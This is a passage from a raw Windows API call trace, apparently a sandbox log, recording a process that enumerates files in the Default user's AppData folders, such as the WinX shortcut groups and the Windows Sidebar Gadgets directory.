ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252726a6, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x493, dwReserved0=0x0, dwReserved1=0x0, cFileName="02a - Windows PowerShell.lnk", cAlternateFileName="")) returned 1 [0219.695] FindNextFileW (in: hFindFile=0x1d1f42d0, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252261fd, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252261fd, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="03 - Computer Management.lnk", cAlternateFileName="")) returned 1 [0219.696] FindNextFileW (in: hFindFile=0x1d1f42d0, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252261fd, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252261fd, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="04 - Disk Management.lnk", cAlternateFileName="")) returned 1 [0219.696] FindNextFileW (in: hFindFile=0x1d1f42d0, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252726a6, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252726a6, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252726a6, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x449, dwReserved0=0x0, dwReserved1=0x0, cFileName="04-1 - Network Connections.lnk", cAlternateFileName="")) returned 1 [0219.696] FindNextFileW (in: hFindFile=0x1d1f42d0, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252726a6, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252726a6, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252726a6, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x433, dwReserved0=0x0, dwReserved1=0x0, cFileName="05 - Device Manager.lnk", cAlternateFileName="")) returned 1 [0219.696] FindNextFileW (in: hFindFile=0x1d1f42d0, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252988fc, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252988fc, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252988fc, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x425, dwReserved0=0x0, dwReserved1=0x0, cFileName="06 - System.lnk", cAlternateFileName="")) returned 1 [0219.696] FindNextFileW (in: hFindFile=0x1d1f42d0, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252726a6, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252726a6, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252726a6, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="07 - Event Viewer.lnk", cAlternateFileName="")) returned 1 [0219.696] FindNextFileW (in: hFindFile=0x1d1f42d0, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252261fd, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252261fd, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x431, dwReserved0=0x0, dwReserved1=0x0, cFileName="08 - Power Options.lnk", cAlternateFileName="")) returned 1 [0219.697] FindNextFileW (in: hFindFile=0x1d1f42d0, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252261fd, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252261fd, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="09 - Mobility Center.lnk", cAlternateFileName="")) returned 1 [0219.697] FindNextFileW (in: hFindFile=0x1d1f42d0, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x251fff9e, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x251fff9e, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x43f, dwReserved0=0x0, dwReserved1=0x0, cFileName="10 - Programs and Features.lnk", cAlternateFileName="")) returned 1 [0219.697] FindNextFileW (in: hFindFile=0x1d1f42d0, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf639e71, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x9ee52126, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x9ee78381, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0219.697] FindNextFileW (in: hFindFile=0x1d1f42d0, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0219.697] FindClose (in: hFindFile=0x1d1f42d0 | out: hFindFile=0x1d1f42d0) returned 1 [0219.698] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c020) returned 1 [0219.698] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9bfe0) returned 1 [0219.698] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9c0f0) returned 1 [0219.698] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group3", nBufferLength=0x105, lpBuffer=0x1db9bbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group3", lpFilePart=0x0) returned 0x3c [0219.698] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group3\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\winx\\group3\\*"), lpFindFileData=0x1db9be00 | out: lpFindFileData=0x1db9be00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf639e71, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f40f0 [0219.699] FindNextFileW (in: hFindFile=0x1d1f40f0, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf639e71, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.699] FindNextFileW (in: hFindFile=0x1d1f40f0, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252988fc, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252988fc, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252988fc, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="01 - Command Prompt.lnk", cAlternateFileName="")) returned 1 [0219.700] FindNextFileW (in: hFindFile=0x1d1f40f0, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x251fff9e, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x251fff9e, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x251fff9e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x467, dwReserved0=0x0, dwReserved1=0x0, cFileName="01a - Windows PowerShell.lnk", cAlternateFileName="")) returned 1 [0219.700] FindNextFileW (in: hFindFile=0x1d1f40f0, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252988fc, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252988fc, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252988fc, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x423, dwReserved0=0x0, dwReserved1=0x0, cFileName="02 - Command Prompt.lnk", cAlternateFileName="")) returned 1 [0219.700] FindNextFileW (in: hFindFile=0x1d1f40f0, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252726a6, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252726a6, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252726a6, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x493, dwReserved0=0x0, dwReserved1=0x0, cFileName="02a - Windows PowerShell.lnk", cAlternateFileName="")) returned 1 [0219.700] FindNextFileW (in: hFindFile=0x1d1f40f0, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252261fd, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252261fd, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="03 - Computer Management.lnk", cAlternateFileName="")) returned 1 [0219.700] FindNextFileW (in: hFindFile=0x1d1f40f0, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252261fd, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252261fd, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="04 - Disk Management.lnk", cAlternateFileName="")) returned 1 [0219.700] FindNextFileW (in: hFindFile=0x1d1f40f0, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252726a6, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252726a6, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252726a6, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x449, dwReserved0=0x0, dwReserved1=0x0, cFileName="04-1 - Network Connections.lnk", cAlternateFileName="")) returned 1 [0219.701] FindNextFileW (in: hFindFile=0x1d1f40f0, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252726a6, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252726a6, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252726a6, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x433, dwReserved0=0x0, dwReserved1=0x0, cFileName="05 - Device Manager.lnk", cAlternateFileName="")) returned 1 [0219.701] FindNextFileW (in: hFindFile=0x1d1f40f0, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252988fc, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252988fc, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252988fc, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x425, dwReserved0=0x0, dwReserved1=0x0, cFileName="06 - System.lnk", cAlternateFileName="")) returned 1 [0219.701] FindNextFileW (in: hFindFile=0x1d1f40f0, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252726a6, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252726a6, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252726a6, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="07 - Event Viewer.lnk", cAlternateFileName="")) returned 1 [0219.701] FindNextFileW (in: hFindFile=0x1d1f40f0, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252261fd, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252261fd, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x431, dwReserved0=0x0, dwReserved1=0x0, cFileName="08 - Power Options.lnk", cAlternateFileName="")) returned 1 [0219.701] FindNextFileW (in: hFindFile=0x1d1f40f0, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252261fd, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252261fd, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="09 - Mobility Center.lnk", cAlternateFileName="")) returned 1 [0219.701] FindNextFileW (in: hFindFile=0x1d1f40f0, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x251fff9e, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x251fff9e, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x43f, dwReserved0=0x0, dwReserved1=0x0, cFileName="10 - Programs and Features.lnk", cAlternateFileName="")) returned 1 [0219.702] FindNextFileW (in: hFindFile=0x1d1f40f0, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf639e71, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x9ee52126, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x9ee78381, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0219.702] FindNextFileW (in: hFindFile=0x1d1f40f0, lpFindFileData=0x1db9bdc0 | out: lpFindFileData=0x1db9bdc0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf639e71, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x9ee52126, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x9ee78381, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0219.702] FindClose (in: hFindFile=0x1d1f40f0 | out: hFindFile=0x1d1f40f0) returned 1 [0219.703] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c020) returned 1 [0219.703] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9bfe0) returned 1 [0219.703] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9d070) returned 1 [0219.703] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar", nBufferLength=0x105, lpBuffer=0x1db9cb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar", lpFilePart=0x0) returned 0x38 [0219.703] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows sidebar\\*"), lpFindFileData=0x1db9cd80 | out: lpFindFileData=0x1db9cd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x377dee7, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x377dee7, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4690 [0219.703] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x377dee7, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x377dee7, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.704] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadgets", cAlternateFileName="")) returned 1 [0219.704] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x377dee7, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x973d55c1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x973d55c1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.ini", cAlternateFileName="")) returned 1 [0219.704] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0219.704] FindClose (in: hFindFile=0x1d1f4690 | out: hFindFile=0x1d1f4690) returned 1 [0219.704] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9cfa0) returned 1 [0219.704] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9cf60) returned 1 [0219.704] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9d070) returned 1 [0219.704] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar", nBufferLength=0x105, lpBuffer=0x1db9cb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar", lpFilePart=0x0) returned 0x38 [0219.704] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows sidebar\\*"), lpFindFileData=0x1db9cd80 | out: lpFindFileData=0x1db9cd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x377dee7, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x377dee7, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f53b0 [0219.705] FindNextFileW (in: hFindFile=0x1d1f53b0, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x377dee7, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x377dee7, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.705] FindNextFileW (in: hFindFile=0x1d1f53b0, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadgets", cAlternateFileName="")) returned 1 [0219.705] FindNextFileW (in: hFindFile=0x1d1f53b0, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x377dee7, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x973d55c1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x973d55c1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.ini", cAlternateFileName="")) returned 1 [0219.705] FindNextFileW (in: hFindFile=0x1d1f53b0, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x377dee7, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x973d55c1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x973d55c1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.ini", cAlternateFileName="")) returned 0 [0219.705] FindClose (in: hFindFile=0x1d1f53b0 | out: hFindFile=0x1d1f53b0) returned 1 [0219.705] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9cfa0) returned 1 [0219.705] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9cf60) returned 1 [0219.706] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9c8b0) returned 1 [0219.706] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets", nBufferLength=0x105, lpBuffer=0x1db9c390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets", lpFilePart=0x0) returned 0x40 [0219.706] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows sidebar\\gadgets\\*"), lpFindFileData=0x1db9c5c0 | out: lpFindFileData=0x1db9c5c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f45d0 [0219.706] FindNextFileW (in: hFindFile=0x1d1f45d0, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.706] FindNextFileW (in: hFindFile=0x1d1f45d0, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, 